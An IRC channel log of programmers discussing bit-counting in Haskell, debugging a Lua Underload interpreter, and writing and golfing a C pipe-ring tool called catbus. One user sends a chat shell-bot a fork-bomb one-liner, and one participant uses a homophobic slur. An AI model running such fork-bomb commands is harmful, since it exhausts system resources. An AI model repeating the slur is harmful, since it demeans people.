00:50:35 <copumpkin> pff
00:50:36 <copumpkin> fuck that
00:50:42 <augur> :pl let count 0 = 0; count n = (n .&. 1) + count (n `shiftR` 1) in count (54 :: Int)
00:50:45 <augur> er
00:50:46 <elliott> augur: fail
00:50:48 <elliott> @pl \n -> if n==0 then 0 else (n .&. 1) + count (n `shiftR` 1)
00:50:48 <lambdabot> ap (flip if' 0 . (0 ==)) (liftM2 (+) (.&. 1) (count . (`shiftR` 1)))
00:50:48 <augur> @pl let count 0 = 0; count n = (n .&. 1) + count (n `shiftR` 1) in count (54 :: Int)
00:50:48 <lambdabot> 54 :: Int .&. 1 + (54 :: Int) (54 :: Int `shiftR` 1)
00:50:52 <copumpkin> what are you trying to do, anyway?
00:50:59 <augur> copumpkin: count bits!
00:50:59 <elliott> copumpkin: count set bits
00:51:11 * elliott tries it kernighan's way
00:51:29 <elliott> > let count 0 = 0; count n = 1 + count (v .&. (v-1))
00:51:30 <lambdabot> not an expression: `let count 0 = 0; count n = 1 + count (v .&. (v-1))'
00:51:36 <elliott> > let count 0 = 0; count n = 1 + count (v .&. (v-1)) in count (54::Int)
00:51:36 <lambdabot> Couldn't match expected type `SimpleReflect.Expr'
00:51:37 <lambdabot> against inferred ...
00:51:39 <elliott> o_O
00:51:40 <elliott> oh
00:51:41 <copumpkin> elliott: oh I wrote something for that the other day
00:51:45 <elliott> > let count 0 = 0; count n = 1 + count (n .&. (n-1)) in count (54::Int)
00:51:46 <augur> this is so much easy in peano numerals
00:51:46 <lambdabot> 4
00:51:49 <elliott> tada!
00:51:52 <augur> numSuccs = id
00:51:55 <elliott> "Brian Kernighan's method goes through as many iterations as there are set bits. So if we have a 32-bit word with only the high bit set, then it will only go once through the loop."
00:52:03 <elliott> "Published in 1988, the C Programming Language 2nd Ed. (by Brian W. Kernighan and Dennis M. Ritchie) mentions this in exercise 2-9. On April 19, 2006 Don Knuth pointed out to me that this method "was first published by Peter Wegner in CACM 3 (1960), 322. (Also discovered independently by Derrick Lehmer and published in 1964 in a book edited by Beckenbach.)"
00:52:08 <elliott> so yeah i pretty much WIN?
00:52:24 <elliott> @hoogle a -> (a -> a) -> Int -> a
00:52:24 <lambdabot> Data.Sequence adjust :: (a -> a) -> Int -> Seq a -> Seq a
00:52:24 <lambdabot> Data.IntMap adjust :: (a -> a) -> Key -> IntMap a -> IntMap a
00:52:24 <lambdabot> Prelude maybe :: b -> (a -> b) -> Maybe a -> b
00:52:27 <elliott> hey copumpkin
00:52:32 <copumpkin> hey babe
00:52:33 <olsner> hmm, I think you can do the whole catbus thing in a shell with something like, mkfifo foo; (a | b | c) <>foo
00:52:35 <elliott> why does haskell not come with the induction combinator for naturals
00:52:38 <elliott> is it because it's a fag?
00:52:40 <copumpkin> yep
00:52:44 <elliott> olsner: that requires a fifo though
00:52:47 <elliott> and is ugly
00:52:52 <augur> elliott: whatchu mean induction combinator
00:52:55 <augur> i dont know this
00:52:57 <augur> explain?
00:53:02 <elliott> augur: compare:
00:53:13 <elliott> P(0) -> (forall n, P(n) -> P(Sn)) -> forall n, P(n)
00:53:15 <elliott> over the naturals
00:53:16 <elliott> AND
00:53:27 <elliott> a -> (a -> a) -> Int -> a
00:53:30 <elliott> where the impl is
00:53:49 <elliott> rec x _ 0 = x; rec x f n = f (rec x f (n-1))
00:53:57 <augur> uh?
00:54:36 <elliott> copumpkin: you school him
00:54:43 <olsner> hmm, I never got how and why v & (v-1) does useful stuff... I should figure that out some day
00:54:57 <iconmaster> Quick question about Underload: In stack notation, does the * command go like s2 s1 -> s2&s1, or s2 s1 -> s1&s2 ?
00:55:01 <elliott> olsner: v &= v-1 clears the least significant bit
00:55:06 <elliott> iconmaster: (a)(b)* === (ab)
00:55:16 <iconmaster> elliott: thanks!
00:55:22 <elliott> yw :)
00:55:23 <elliott> hmm
00:55:31 <olsner> hmm, shouldn't it be most significant?
00:55:41 <elliott> olsner: I doubt it
00:55:43 <augur> copumpkin always schools me
00:55:48 <elliott> olsner: bit twiddling hacks page is infallible
00:55:48 <augur> its pretty hot.. ;o
00:56:03 <elliott> come on buttsbutts!
00:56:05 <elliott> you can do it!
00:56:16 <olsner> hmm, v and v-1 will always differ in the LSB
00:56:26 <elliott> IT ISN'T WORKING WHY ISN'T IT WORKING
00:56:50 <iconmaster> Darn- my Lua Underload interpreter isn't running the Fibbonchi series program, and I thoght the * might of been a problem
00:57:04 <elliott> iconmaster: show code :)
00:57:10 <iconmaster> k
00:57:17 <augur> so theres t-grep, right
00:57:21 <iconmaster> stack = {}
00:57:21 <iconmaster> tape = {}
00:57:21 <iconmaster> ptr = 1
00:57:21 -!- iconmaster has quit (Excess Flood).
00:57:24 <elliott> FAIL
00:57:27 <augur> which is pretty painful to use but it exists
00:57:31 <augur> is there t-diff?
00:57:31 <elliott> augur: eh?
00:57:34 <elliott> what's t-grep
00:57:40 -!- iconmaster has joined.
00:57:41 <augur> tgrep: grep for trees
00:57:43 <elliott> iconmaster: use a pastebin :P
00:57:45 <iconmaster> whoops lol
00:57:49 <elliott> iconmaster: e.g. pastebin.com
00:57:53 <iconmaster> thx
00:57:54 <elliott> olsner: anyway while you can do catbus with a sufficiently bloated shell, you can also do tee
00:58:01 <elliott> olsner: and catbus is a pipe fitter in the same grand ol' Unixy tradition
00:58:06 <augur> usually trees in s-expression notation
00:58:10 <elliott> olsner: wonderfully, the name actually makes sense :)
00:58:11 <elliott> well
00:58:14 <elliott> "bus" would make sense
00:58:20 <elliott> but technically it's catting between the pipes
00:58:22 <elliott> so it's catbus!
00:58:34 <elliott> augur: t-diff might make use of zippers :D
00:58:43 <augur> maybe!
00:58:43 <olsner> and also there's a catbus in the famous anime movie
00:58:50 <elliott> olsner: no shit
00:58:52 <elliott> how do you think it was named
00:58:56 <elliott> (the tool that is)
00:59:04 <elliott> catbus reference -> OMG IT ACTUALLY FITS -> perfect
00:59:13 <olsner> exactly :)
00:59:45 <elliott> now all i have to do is finish it, give it a 90s-style unformatted web page, and put the catbus right-aligned
00:59:47 <elliott> like the cool kids do
01:00:00 <iconmaster> ok im back and with a pastebin! http://pastebin.com/EHDf7gME
01:00:08 <olsner> anyway it's obviously more fun doing it in C, plus a fifo is actually a bit ugly when you just need the pipe object itself
01:00:16 <elliott> iconmaster: what do you mean back, do you close your irc client every time you tab away? :p
01:00:31 <elliott> iconmaster: what does "io.read("*l")" do?
01:00:33 <elliott> the *l part
01:00:46 <iconmaster> elliott: no, itjust closed me for flooding
01:00:50 <elliott> elseif char == ":" then
01:00:50 <elliott> table.insert(stack,stack[#stack])
01:00:54 <elliott> shouldn't it be stack[0] there?
01:01:02 <elliott> or does table.remove remove from the end?
01:01:09 <iconmaster> lists are 1-based...
01:01:13 <elliott> er right [1]
01:01:19 <elliott> iconmaster: s and A aren't valid underload commands, it's not case-insensitive
01:01:22 <iconmaster> remove removes ti from end
01:01:32 <iconmaster> ok ill fix s amd a
01:01:41 <elliott> hmm, can't see an obvious mistake
01:01:49 <iconmaster> me niether.... lol
01:01:52 <elliott> elseif char == "^" then
01:01:52 <elliott> newprog = table.remove(stack)
01:01:52 <elliott> for i=1,#newprog do
01:01:52 <elliott> table.insert(tape,ptr + i,string.sub(newprog,i,i))
01:01:52 <elliott> end
01:01:54 <elliott> wait what?
01:02:04 <elliott> ^ inserts the top of stack into the program
01:02:05 <elliott> i.e.
01:02:17 <elliott> (abc)(def)*^blah -> (abcdef)^blah -> abcdefblah
01:02:20 <iconmaster> i did that lol
01:02:24 <elliott> oh indeed
01:02:27 <elliott> but what's with the for loop there?
01:02:29 <iconmaster> OH! i know whats wrong
01:02:49 <iconmaster> i needed to insert each character into the program individually
01:03:19 <iconmaster> but if i just did table.insert(tape,ptr,string.sub(newprog,i,i)) it would put it in the program in reverse
01:03:32 <iconmaster> but table.insert(tape,ptr + i,string.sub(newprog,i,i)) wont work either
01:03:37 <elliott> iconmaster: can't you just do
01:03:42 <elliott> program = program .. table.remove(stack)
01:04:04 <iconmaster> that would append the program on the END of the tape
01:04:09 <iconmaster> not at the ^
01:04:15 <elliott> oh. right.
01:04:27 <iconmaster> the program itself is a list of characters, remember
01:04:29 <elliott> iconmaster: i would remove the first char of the program whenever you execute it
01:04:31 <elliott> then you could do
01:04:34 <elliott> program = table.remove(stack) .. program
01:04:47 <iconmaster> sure... that would be more effiecent.
01:04:56 <iconmaster> OK then, on to rewriting!
01:04:58 <elliott> also less error-prone
01:05:00 <elliott> :P
01:05:11 <elliott> olsner: wow, stracing this is a real mess
01:07:07 <olsner> how shocking
01:07:09 <elliott> ok, nc isn't getting the input, but hello is
01:07:19 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$ ./catbus 'tee /dev/fd/2 | nc irc.freenode.net 6667' './hello'
01:07:19 <elliott> ^C
01:07:19 <elliott> elliott@elliott-MacBookAir:~/Code/catbus$ ./catbus 'nc irc.freenode.net 6667' 'tee /dev/fd/2 | ./hello'
01:07:19 <elliott> :holmes.freenode.net NOTICE * :*** Looking up your hostname...
01:07:19 <elliott> :holmes.freenode.net NOTICE * :*** Checking Ident
01:10:53 <elliott> ok so i=1
01:10:59 <elliott> 1 ? 0 : 1
01:11:00 <elliott> --> 0
01:11:04 <elliott> pipes[0][0] -> stdin
01:11:06 <elliott> olsner: 0 is the reading end right?
01:11:08 <elliott> i believe so
01:11:08 <elliott> and then
01:11:15 <elliott> pipes[1][1] -> stdout
01:11:18 <elliott> that seems... totally correct
01:11:19 <elliott> oops
01:11:20 <elliott> bug
01:11:21 <elliott> but not a relevant one
01:13:05 <iconmaster> Just had a realization- Putting new symbols after the ^ is the same as recursion, all I need to do is to share a few variables
01:13:11 <elliott> iconmaster: yep
01:13:15 <elliott> switch (fork()) {
01:13:15 <elliott> case 0:
01:13:15 <elliott> if (dup2(pipes[i ? i-1 : nprocs-1][0], 0) < 0 ||
01:13:15 <elliott> dup2(pipes[i][1], 1) < 0) {
01:13:16 <elliott> perror("dup2");
01:13:18 <elliott> exit(3);
01:13:22 <elliott> }
01:13:25 <elliott> olsner: does that look broken to you?
01:14:28 <olsner> not that I know :) 'i' goes from 0 to nprocs-1 right?
01:15:00 <elliott> olsner: yep
01:15:10 <elliott> for (i = 0; i < nprocs; i++)
01:15:10 <elliott> if (pipe(pipes[i]) < 0) {
01:15:10 <elliott> perror("pipe");
01:15:10 <elliott> exit(3);
01:15:10 <elliott> }
01:15:11 <elliott> for (i = 1; i < argc; i++)
01:15:13 <elliott> spawn(argv[i], i-1);
01:15:16 <elliott> (second loop is for argc to simplify logic after I got confused)
01:15:23 <elliott> *is over
01:15:49 -!- Lymia_ has joined.
01:15:58 -!- Lymia has quit (Disconnected by services).
01:16:24 <elliott> olsner: Do you suspect gremlins? I sure do.
01:16:32 <elliott> nprocs is set to argc, btw.
01:16:33 <elliott> Wait...
01:16:39 <elliott> It should be argc-1.
01:16:39 <elliott> >_<
01:16:46 <olsner> ha
01:17:12 <elliott> yay, it works now
01:17:15 -!- buttsbutts has joined.
01:17:15 <buttsbutts> :holmes.freenode.net NOTICE * :*** Looking up your hostname...
01:17:15 <buttsbutts> :holmes.freenode.net NOTICE * :*** Checking Ident
01:17:17 <buttsbutts> :holmes.freenode.net NOTICE * :*** Couldn't look up your hostname
01:17:19 <buttsbutts> :holmes.freenode.net NOTICE * :*** No Ident response
01:17:19 <elliott> I love you too, buttsbutts.
01:17:20 -!- buttsbutts has quit (Remote host closed the connection).
01:17:39 -!- buttsbutts has joined.
01:17:39 <buttsbutts> :holmes.freenode.net NOTICE * :*** Looking up your hostname...
01:17:39 <buttsbutts> :holmes.freenode.net NOTICE * :*** Checking Ident
01:17:41 <buttsbutts> :holmes.freenode.net NOTICE * :*** Couldn't look up your hostname
01:17:43 <buttsbutts> :holmes.freenode.net NOTICE * :*** No Ident response
01:17:45 <buttsbutts> :holmes.freenode.net 001 buttsbutts :Welcome to the freenode Internet Relay Chat Network buttsbutts
01:17:47 <buttsbutts> :holmes.freenode.net 002 buttsbutts :Your host is holmes.freenode.net[213.232.93.3/6667], running version ircd-seven-1.0.3
01:17:49 <buttsbutts> :holmes.freenode.net 003 buttsbutts :This server was created Tue Feb 23 2010 at 23:01:30 GMT
01:17:51 -!- buttsbutts has quit (Remote host closed the connection).
01:18:07 <elliott> olsner: hmm, I think that "catbus a b c d" is actually the same as "catbus a <(b|c|d)"
01:18:11 <elliott> I don't think that's right
01:18:33 <elliott> olsner: I think that possibly my original interpretation at http://esoteric.voxelperfect.net/wiki/User_talk:Chris_Pressey#catbus is what was intended
01:20:37 <elliott> 13:40:20 <cpressey> polycat: run a set of programs and pipe all their outputs together to all their inputs
01:20:38 <olsner> hmm, that sounds a bit different from the simple ring of processes
01:20:39 <elliott> olsner: HA
01:20:41 <elliott> olsner: I WAS RIGHT
01:20:48 <elliott> i...think
01:20:50 <elliott> that's still ambiguous >_<
01:22:32 <iconmaster> Woot! I got the interpreter to work!
01:22:40 <elliott> yay! i got catbus to work!
01:22:42 <elliott> we're all happy!
01:22:54 <elliott> olsner: in the mood to GOLF?
01:22:57 <elliott> you should totally golf catbus.
01:22:58 <iconmaster> Thanks! I'll pastebin it in a second.
01:23:28 <iconmaster> http://pastebin.com/rKsCwUgK
01:23:43 <olsner> elliott: I decided I don't like golfing after my last attempts failed to be immediately awesome
01:23:51 <elliott> iconmaster: how fast does it run the look and say? :P
01:24:01 <iconmaster> idk lemme try it
01:25:07 <elliott> olsner: not that golfing it would be too difficult, it's already pretty darn short: http://sprunge.us/SfZL
01:25:45 <olsner> well, first step would be to remove all error checking obviously :)
01:26:23 <elliott> err that has one argument swapped
01:26:24 <elliott> but whatever
01:26:46 <elliott> olsner: int n,p[256][2];s(char*c,int i){... :P
01:27:06 * elliott considers dynamically allocating pipes, for all those >256 command pipelines.
01:27:08 <olsner> you don't need n, you can just reuse argc and inline spawn into main
01:27:29 <elliott> olsner: oh indeed
01:27:36 <iconmaster> say, is look-and-say sequence SUPPOSED to print 2113 forever?
01:27:50 <olsner> and you can just allocate a few million pipes and let lazy allocation fix it
01:27:52 <elliott> iconmaster: I ... don't believe so. I think that happens if your * is the wrong way around.
01:27:57 <elliott> olsner: ah yes, Lazy C.
01:28:05 <iconmaster> OLOL. thanks, leme fix it.
01:28:05 <elliott> the language of choice for true masochists.
01:28:30 <olsner> well, zeroed pages that get lazily mapped as you use them
01:29:23 <elliott> int i,p[256][2];main(c,v){for(i=1;i<c;i++)pipe(pipes[i-1]);for(i=1;i<c;i++)SPAWNHERE(i-1,argv[i]);for(;wait(NULL)>0;);}
01:29:45 <iconmaster> it printed two commas, waited for a looooooong time, and then halted.
01:30:03 <iconmaster> Methinks something wrong with my implementation
01:30:32 <elliott> int i,p[256][2];main(c,v){for(i=1;i<c;i++)pipe(pipes[i-1]);for(i=1;i<c;i++){if(!fork()){dup2(pipes[i-1?i-2:c-2][0],0);dup2(pipes[i-1][1],1);execlp("sh","","-c",argv[i],NULL);}};for(;wait(NULL)>0;);}
01:30:41 <elliott> int i,p[256][2];main(c,v){for(i=1;i<c;i++)pipe(pipes[i-1]);for(i=1;i<c;i++)if(!fork()){dup2(pipes[i-1?i-2:c-2][0],0);dup2(pipes[i-1][1],1);execlp("sh","","-c",argv[i],NULL);};for(;wait(NULL)>0;);}
01:30:44 <elliott> olsner: oh yeah
01:30:57 <elliott> oh wait
01:30:58 <elliott> "pipes"
01:30:58 <olsner> in practice you
01:31:07 <elliott> int i,p[256][2];main(c,v){for(i=1;i<c;i++)pipe(p[i-1]);for(i=1;i<c;i++)if(!fork()){dup2(p[i-1?i-2:c-2][0],0);dup2(p[i-1][1],1);execlp("sh","","-c",argv[i],NULL);};for(;wait(NULL)>0;);}
01:31:10 <elliott> olsner: ?
01:31:12 <olsner> you'll be limited by the maximum command line length
01:31:23 <elliott> int i,p[256][2];main(c,v){for(i=1;i<c;i++)pipe(p[i-1]);for(i=1;i<c;i++)if(!fork()){dup2(p[i-1?i-2:c-2][0],0);dup2(p[i-1][1],1);execlp("sh","","-c",v[i],NULL);};for(;wait(NULL)>0;);}
01:31:28 <elliott> skillz.
01:31:35 <olsner> (just switched to a keyboard with enter where ' used to be)
01:31:49 <elliott> int i,p[256][2];main(c,v){for(i=1;i<c;i++)pipe(p[i-1]);for(i=1;i<c;i++)if(!fork()){dup2(p[i-1?i-2:c-2][0],0);dup2(p[i-1][1],1);execlp("sh","","-c",v[i],0);};for(;wait(0)>0;);}
01:31:50 <Lymia_> `run echo fork while fork | perl
01:31:56 -!- Lymia_ has changed nick to Lymia.
01:31:57 -!- Lymia has quit (Changing host).
01:31:57 -!- Lymia has joined.
01:32:00 <elliott> Lymia: that won't work.
01:32:06 <Lymia> Don't expect it to.
01:32:06 <Lymia> =p
01:32:14 <elliott> olsner: that was 175 chars
01:32:17 <elliott> :D
01:32:20 <elliott> NOT BAD
01:32:31 <Lymia> Are you....
01:32:34 <Lymia> Golfing C
01:32:35 <Lymia> ?
01:33:22 <Lymia> elliott, is that what you're doing?
01:33:28 <elliott> Well, I was there.
01:33:40 <elliott> I have a rather less compact version here that's actually useful :P
01:34:56 <elliott> olsner: oh man
01:35:07 <elliott> olsner: $ catbus '(echo y; cat) | tee x'
01:35:10 <elliott> olsner: same as yes >x
01:35:15 <elliott> beautiful, or beautiful???
01:35:29 <elliott> full implementation of yes:
01:35:37 <elliott> $ catbus '(echo y; cat) | tee /dev/fd/2' 2>&1
01:35:46 <olsner> could change i to 0-based since you're using i-1 more often than i, save a couple of bytes
01:35:47 <elliott> olsner: it's like Haskell's fix :)
01:35:54 <elliott> also, maybe :P
01:36:05 <Deewiant> elliott: int i,p[256][2];main(c,v){--c;for(;i<c;i++)pipe(p[i]);for(i=0;i<c;i++)if(!fork()){dup2(*p[i?i-1:c-1],0);dup2(p[i][1],1);execlp("sh","","-c",v[i+1],0);};while(wait(0)>0);} ?
01:36:05 <olsner> and then do the equivalent of c+i%c-1
01:36:32 <elliott> Deewiant: Is it OK if I'm scared of you?
01:36:33 <olsner> plus/minus 0, 1 or 2 to get it right, of course
01:36:41 <Deewiant> elliott: Sure, works for me
01:36:52 <elliott> Deewiant: No, I don't think you understand: I'm *really* scared of you.
01:36:58 <Deewiant> elliott: Sure, works for me
01:37:13 <elliott> Deewiant: int i,p[256][2];main(c,v){for(c--;i<c;i++)pipe(p[i]);for(i=0;i<c;i++)if(!fork()){dup2(*p[i?i-1:c-1],0);dup2(p[i][1],1);execlp("sh","","-c",v[i+1],0);};while(wait(0)>0);}
01:37:14 <elliott> Saved a character.
01:37:16 <elliott> You're very welcome.
01:37:25 <elliott> Man, that program is insanely short.
01:38:24 <elliott> olsner: hmm isn't there some limts.h thing for max argc?
01:38:34 <elliott> not limits.h
01:38:42 <elliott> ARG_MAX
01:39:24 <elliott> [[When looking at ARG_MAX/NCARGS, you have to consider the space comsumption by both argv[] and envp[] (arguments and environment).
01:39:24 <elliott> Thus you have to decrease ARG_MAX at least by the results of "env|wc -c" and "env|wc -l * 4" [3] for a good estimation of the currently available space.]]
01:39:56 <elliott> olsner: fuck that, I'll just pick a sufficiently large value
01:40:57 <olsner> 256 seems sufficiently large already
01:41:27 <elliott> olsner: prolly... but I should add a check for max argc then
01:41:38 <elliott> olsner: and writing those few lines to error out is just as much work as making it dynamically allocated
01:41:41 <elliott> so it feels bad
01:41:52 <elliott> olsner: ofc, this has to be balanced against the additional /complexity/ that malloc gives...
01:42:20 <elliott> I'll compensate by removing useless error-checking :)
01:42:25 <elliott> EFAULT pipefd is not valid.
01:42:25 <elliott> EINVAL (pipe2()) Invalid value in flags.
01:42:25 <elliott> EMFILE Too many file descriptors are in use by the process.
01:42:25 <elliott> ENFILE The system limit on the total number of open files has been
01:42:25 <elliott> reached.
01:42:29 <elliott> OK, so pipe() will never fail, probably
01:42:50 <elliott> $ cat /proc/sys/fs/file-max
01:42:50 <elliott> 367911
01:42:50 <elliott> indeed
01:43:27 <elliott> dup2 can't fail in any reasonable way either... apart from being interrupted by a signal, but fuck that.
01:43:55 <elliott> fork() can't fail other than being out of memory or forking too much. won't happen.
01:44:04 <olsner> "note that catbus does not print error messages. if it fails, use strace to determine the nature of the failure."
01:44:27 <elliott> olsner: The kind of argument list you'd need to cause a failure in dup2 or fork wouldn't fit in any system's argument list :P
01:44:41 -!- cheater- has quit (Ping timeout: 240 seconds).
01:45:02 <elliott> yay, it's shorter now
01:45:09 <elliott> ooh, I can replace my
01:45:12 <elliott> if (!fork()) { entire function }
01:45:13 <elliott> with
01:45:15 <elliott> if (fork()) return;
01:45:16 <olsner> if I get there, I will make my OS have no silly limits like that, it'll just be limited by available memory
01:45:24 <Deewiant> elliott: Saved another: int i,p[512];main(c,v){for(--c;i<c;i++)pipe(p[i]);for(i=0;i<c;i++)if(!fork()){dup2(p[2*(i?i:c)-1],0);dup2(p[i*2+1],1);execlp("sh","","-c",v[i+1],0);};while(wait(0)>0);}
01:45:33 <elliott> olsner: well in this case fork() can fail only when running out of memory or due to a ulimit
01:45:42 -!- cheater- has joined.
01:45:44 <elliott> ulimit, well, shit's gonna fail, obviously, that's why you set it
01:45:54 <olsner> I meant for the argument list
01:45:57 <elliott> olsner: right
01:46:17 <elliott> olsner: if the arglist will fit into memory, and the fds are only limited by available memory too (as they would be for you), then this program will never fail unless you fill up memory with arguments :P
01:46:18 <elliott> Deewiant: Nice.
01:46:39 <elliott> olsner: hmm, I think I can interleave pipe creation with spawning
01:46:40 <elliott> oh, wait, no
01:46:41 <elliott> never mind
01:46:47 <elliott> well, not sanely anyway
01:47:00 <Deewiant> elliott: My bad, that should be )-2, not )-1
01:47:01 <olsner> I did think about reusing argv storage for the pipes
01:47:10 <elliott> olsner: lol
01:47:18 <elliott> Deewiant: do what olsner said :D
01:47:21 <olsner> or making it recursive
01:47:34 <elliott> woo, the only way wait can fail is ECHILD, which is what I want, or EINTR/EINVAL
01:47:36 <elliott> latter obviously doesn't apply
01:47:40 <olsner> stack limits are pretty low, but it does get dynamically allocated
01:47:43 <elliott> and I didn't handle EINTR anyway
01:48:00 <elliott> 39 lines, awesome
01:48:08 <elliott> catbus.c:32: warning: ignoring return value of ‘pipe’, declared with attribute warn_unused_result
01:48:10 <elliott> but why...
01:48:18 <elliott> EFAULT pipefd is not valid.
01:48:19 <elliott> EINVAL (pipe2()) Invalid value in flags.
01:48:19 <elliott> EMFILE Too many file descriptors are in use by the process.
01:48:19 <elliott> ENFILE The system limit on the total number of open files has been reached.
01:48:28 <elliott> come on, that's not even remotely worth checking :P
01:49:48 <elliott> olsner: actually, (catbus prog) is basically the direct analogy of (fix f) in haskell
01:49:58 <elliott> (catbus cat) hangs, just like (fix id) does
01:50:07 <olsner> yep, if piping is function composition then catbus is fix
01:50:18 <elliott> (catbus '(echo y; cat) | tee x') is fix ("y\n" ++)
01:50:19 <elliott> like er
01:50:35 <olsner> not exactly of course, but close enough for analogy
01:50:40 <elliott> fix (\foo -> ("y\n" ++ foo) ... tee stuff doesn't apply here)
01:50:43 <elliott> olsner: yeah
01:50:51 <elliott> olsner: Oleg implemented a shell with monads/composition, I think
01:50:57 <elliott> I bet there, the analogy applies directly
01:51:03 <copumpkin> > fix (interleave [0..])
01:51:04 <lambdabot> [0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16,8...
01:51:19 <elliott> copumpkin: heh, what :)
01:51:56 <augur> copumpkin: beautiful...
01:52:07 <copumpkin> @oeis 0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16
01:52:10 <lambdabot> a(2n) = n, a(2n+1) = a(n).
01:52:10 <lambdabot> [0,0,1,0,2,1,3,0,4,2,5,1,6,3,7,0,8,4,9,2,10,5,11,1,12,6,13,3,14,7,15,0,16,8,...
01:52:55 <augur> copumpkin: thats so nifty
01:53:00 <augur> so beautiful
01:53:11 <augur> the visual of it..
01:53:14 <elliott> i would hit that
01:53:17 * augur hugs copumpkin
01:53:20 <augur> T_T
01:53:24 <elliott> yeah copumpkin
01:53:27 <elliott> augur needs some of your SCHOOLING
01:53:41 <elliott> !c printf("%d\n", 0 || 23);
01:53:46 <elliott> !c printf("%d\n", 0 || 0);
01:53:58 <elliott> hey olsner
01:54:02 <elliott> while (wait(&st) != -1)
01:54:07 <elliott> if (WEXITSTATUS(st) != 0)
01:54:10 <elliott> ret = 1;
01:54:12 <elliott> COMPARE WITH
01:54:12 <EgoBot> 0
01:54:13 <EgoBot> 1
01:54:21 <elliott> while (wait(&st) != -1)
01:54:23 <augur> copumpkin: who the fuck discovered that
01:54:23 <copumpkin> lol
01:54:27 <elliott> ret ||= WEXITSTATUS(st);
01:54:29 <elliott> !c printf("%d\n", 0 || 23);
01:54:30 <elliott> BEAUTIFUL
01:54:32 <elliott> OR BEAUTIFUL OLSNER
01:54:34 <elliott> actually
01:54:36 <elliott> it might be &&=
01:54:39 <copumpkin> augur: I saw Cale write it in #haskell a while back
01:54:47 <augur> damn cale
01:54:50 <EgoBot> 1
01:54:52 <elliott> nope
01:54:54 <elliott> it's ||=
01:55:00 <olsner> yeah, I think you want to fail if any child fails
01:55:05 <elliott> olsner: i already do
01:55:06 <elliott> but i turned
01:55:09 <elliott> if (x != 0) ret = 1;
01:55:10 <elliott> into
01:55:11 <elliott> ret ||= x;
01:55:19 <elliott> now my program has only ONE LEVEL OF NESTING
01:55:23 <olsner> NICE
01:55:24 <Deewiant> What language has ||=?
01:55:27 <elliott> Deewiant: C
01:55:30 <elliott> wait
01:55:31 <elliott> c doesn't
01:55:31 <Deewiant> No
01:55:31 <elliott> omg
01:55:33 <elliott> that's the worst
01:55:34 <augur> Deewiant: lots of them
01:55:35 <elliott> why is c the worst?
01:55:42 <Deewiant> You can use |=.
01:55:48 <elliott> Deewiant: not if WEXITSTATUS(st) > 1
01:56:03 <elliott> although, the exit status having all the set bits of all the statuses is cool
01:56:04 <Deewiant> Do you need it to be exactly one? :-P
01:56:06 <elliott> i.e. st1 | st2 | st3 ...
01:56:09 <olsner> return !!res then, if you must
01:56:17 <elliott> Deewiant: Well, 2 is used for "usage error" and 3 for "catbus error".
01:56:32 <elliott> olsner: or I could just do
01:56:34 <Deewiant> ret = x?1:ret;
01:56:38 <elliott> ret = ret || WEXITSTATUS(st);
01:56:47 <elliott> Deewiant: hey, that's even not incomprehensible
01:56:48 <elliott> I'll take it
01:57:12 <elliott> http://sprunge.us/FCLO
01:57:16 <elliott> wonderful
01:58:51 <elliott> I wish modulo in C behaved well though
02:01:55 <elliott> olsner: hmm, can you recover stderr after duping it away?
02:02:00 <elliott> dup2(pipes[i ? i-1 : nprocs-1][0], 0);
02:02:00 <elliott> dup2(pipes[i][1], 1);
02:02:00 <elliott> execlp(shell, shell, "-c", cmd, NULL);
02:02:00 <elliott> perror("execl");
02:02:03 <elliott> the perror goes to a black hole as it is
02:02:05 <elliott> wait
02:02:07 <elliott> it shouldn't ...
02:02:10 <elliott> o_O
02:02:24 <elliott> I'm confused now.
02:02:32 <olsner> you aren't duping away stderr :)
02:03:12 -!- iconmaster has quit (Quit: see you all tomorrow! let's see if I can't get that Underload interpreter to work.).
02:03:17 <elliott> olsner: YEAH BUT IT DINT WORK
02:05:59 <elliott> you know what C needs?
02:06:02 <elliott> else fall;
02:06:07 <elliott> falls to the else in the previous branch
02:06:08 <elliott> for instance
02:06:22 <elliott> if (argc > 1 && !strcmp(argv[1], "-s")) {
02:06:25 <elliott> argc--;
02:06:27 <elliott> if (argc > 1) {
02:06:29 <elliott> shell = argv[2];
02:06:31 <elliott> argc--;
02:06:34 <elliott> } else fall;
02:06:39 <elliott> } else if (argc < 2) { ... }
02:06:40 <elliott> or
02:06:41 <elliott> wait no
02:06:43 <elliott> that makes no sense :D
02:07:20 <olsner> good, I hadn't started reading it :P
02:07:43 <augur> copumpkin: is there a neat way to get from fix (interleave [0..]) to a(2n) = n, a(2n+1) = a(n)?
02:08:42 <elliott> if (argc > 1 && !strcmp(argv[1], "-s")) {
02:08:42 <elliott> argc--;
02:08:42 <elliott> if (argc > 1) {
02:08:42 <elliott> shell = argv[2];
02:08:42 <elliott> argc--;
02:08:43 <elliott> }
02:08:45 <elliott> }
02:08:47 <elliott> if (argc < 2) {
02:08:51 <elliott> fprintf(stderr, "usage: %s [-s shell] cmd ...\n", argv[0]);
02:08:53 <elliott> exit(2);
02:08:55 <elliott> }
02:08:57 <elliott> olsner: deugly that :P
02:08:59 <elliott> (notably, "catbus -s" fails with the right error message)
02:09:22 <olsner> elliott: press backspace, hold until not ugly
02:09:35 <elliott> olsner: that would remove feature!!!!!
02:09:44 <olsner> exactly!!!!!
02:09:57 <Gregor> THAT WOULD REMOVE FUTURE
02:10:50 <elliott> olsner: but feature is useful!
02:10:51 <elliott> well
02:10:53 <elliott> maybe it isn't
02:10:58 <elliott> but it feels like if you want to do advanced pipe-fitting
02:11:04 <elliott> you might wanna use a fancy shell or sth
02:11:38 <elliott> olsner: hey i just realised catbus could operate on files
02:11:45 <olsner> orly
02:11:51 <elliott> catbus <(nc irc.freenode.net 6667) <(./hello)
02:12:27 <olsner> hmm, but are those bidirectional files/pipes that you get?
02:12:51 <elliott> olsner: I think so, yes
02:13:08 <elliott> well
02:13:08 <olsner> and the programs would have to read from stdout?
02:13:09 -!- buttsbutts has joined.
02:13:09 <elliott> maybe
02:13:12 <elliott> oh
02:13:17 <elliott> looks like it's only in
02:13:18 -!- buttsbutts has quit (Remote host closed the connection).
02:13:21 <elliott> oh well
02:14:56 <elliott> if (argc < 2)
02:14:56 <elliott> usage();
02:14:56 <elliott> else if (!strcmp(argv[1], "-s")) {
02:14:56 <elliott> if (argc < 3)
02:14:56 <elliott> usage();
